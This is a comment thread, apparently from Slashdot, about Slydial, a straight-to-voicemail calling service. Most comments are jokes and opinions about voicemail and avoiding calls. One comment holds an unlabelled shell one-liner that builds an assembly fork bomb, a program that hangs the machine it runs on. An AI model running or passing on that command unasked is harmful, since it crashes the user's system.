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Call Someone – Without Having To Talk To Them
waderoush writes "After a long beta period, Boston-based MobileSphere launched a 'straight-to-voicemail' service yesterday called Slydial. If you call 267-SLY-DIAL and listen to a short ad, you can then be connected to the voicemail inbox of any US mobile phone subscriber, without causing their phone to ring. Sounds kinda useful — but incredibly, MobileSphere is pitching the service as a way to avoid actually communicating with all those difficult, boring people in your life. In reply to suggestions that Slydial erodes and cheapens genuine human interaction, a MobileSphere exec says the company is just combating technology with technology, by helping people take control of whether and when to talk with their friends, family, and coworkers."
Send email to xyz: "Dood, wanna join the party? It's, like, gonna be awesome!!!"
Send SMS to xyz: "Hey, chk ur email"
Then send the vmail to xyz: "Have your checked your SMS?"
Sure you can hit # to get right ion to voice mail, but you have to be fast otherwise you might have to talk to an actual person and we can't have that now, can we?
. In reply to suggestions that Slydial erodes and cheapens genuine human interaction,
You say that as if it's a bad thing :-)
And therefore guaranteed to never receive a response!
I don't think I -ever- check my voicemail unless I've accidentally missed a call I know is important, and almost nobody I know checks theirs on their personal cell either.
Text messaging has replaced leaving voicemail for reminders and invitations, as it's much easier and more convenient.
I think this is a service far past its time. Maybe it would have been useful in the 90s.
Work is different, but this isn't exactly targeted at businesspeople.
Finally! A way to call my mother so that she'll stop bitching about me never calling and at the same time avoiding making it last 50 minutes everytime. A win-win situation!
Yes, I do call my mother sometimes, it's just more convenient than yelling from the bottom of the basement for food.
You just got troll'd!
"Hey boss! Sorry I'm leaving ANOTHER message! Working from home today as usual. Are you out of town? I've called three times today but you must be in an area without coverage. I really need to talk with you about some implementation specifics before I can start coding." (goes back to sleep)
Their phone would ring too. This service is supposed to avoid that.
This feature would probably be most useful if you know the person can't be disturbed (ie. they're in a meeting). You could just slydial them and leave a nice descriptive message.
Cool, now I don't have to talk to the remaining friends that I have.
Supporting World Peace Through Nuclear Pacification
Hey employee! Talk to bob about the implementation issues. And I'm gonna have to ask you to work at the weekend again.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Grrrrr. I'm antisocial. GRRRRRR.
Yep.
Yep.
Nope. More like: ...."
"uhh hh hhh uh dood? I uh hh huh h mmmmmmm wanted to callyouabouttheparty and uh uh uh uh the party is
Repeat for about 10 minutes.
I HATE voice-mail because almost no one knows how to leave a message CORRECTLY.
Correct method:
"Hi! This is *name* at *call back number* and I wanted to talk to you about *subject*. Once again, this is *name* at *call back number* calling about *subject*. Bye!"
Incorrect method 1:
"Hi! This is *name*. Call me."
Unless you are the girlfriend/boyfriend. Then it is allowable.
Incorrect method 2:
"Hi! About the thing that blah blah blah blah blah *ten minutes pass* blah blah blah bl" Cut off by message limit timer.
I prefer email and text because it takes MORE effort to type in excess material than voice-mail does.
Actually, this can already be done on Verizon Wireless to Verizon Wireless calls, and maybe AT&T as well.
Dial your OWN voicemail, then once you get to the main menu, hit option 2 to send a message. It then asks you for the 10 digit mailbox number (which is the subscriber's phone number with area code), it says their recorded name, and allows you to leave a voicemail.
I've used this to try to determine who called me if they don't leave a message - the system will play their recorded clip of them reading their name.
Seriously, if they are in a meeting - or elsewhere where a ringing phone is frowned upon - have them silence the thing.
But I'm sure the marketing people will love this. Now they can 'call' you while circumventing a ton of provisions, including telling them to stop calling you right in the very phone call. .. not to mention kids and pranksters.
I'd check my contract on the services rendered by my provider to see if this can be blocked.
It would be great for those awkward next day calls. "No baby I called you. Check your voicemail! Your phone was probably in a blackout zone."
"Never let your sense of morals prevent you from doing what is right" - Salvor Hardin
Their phone would ring too. This service is supposed to avoid that.
I just tested out SlyDial against my cell phone and the phone did ring once. The caller ID also revealed the number as the one I used to call SlyDial. Not so sly after all.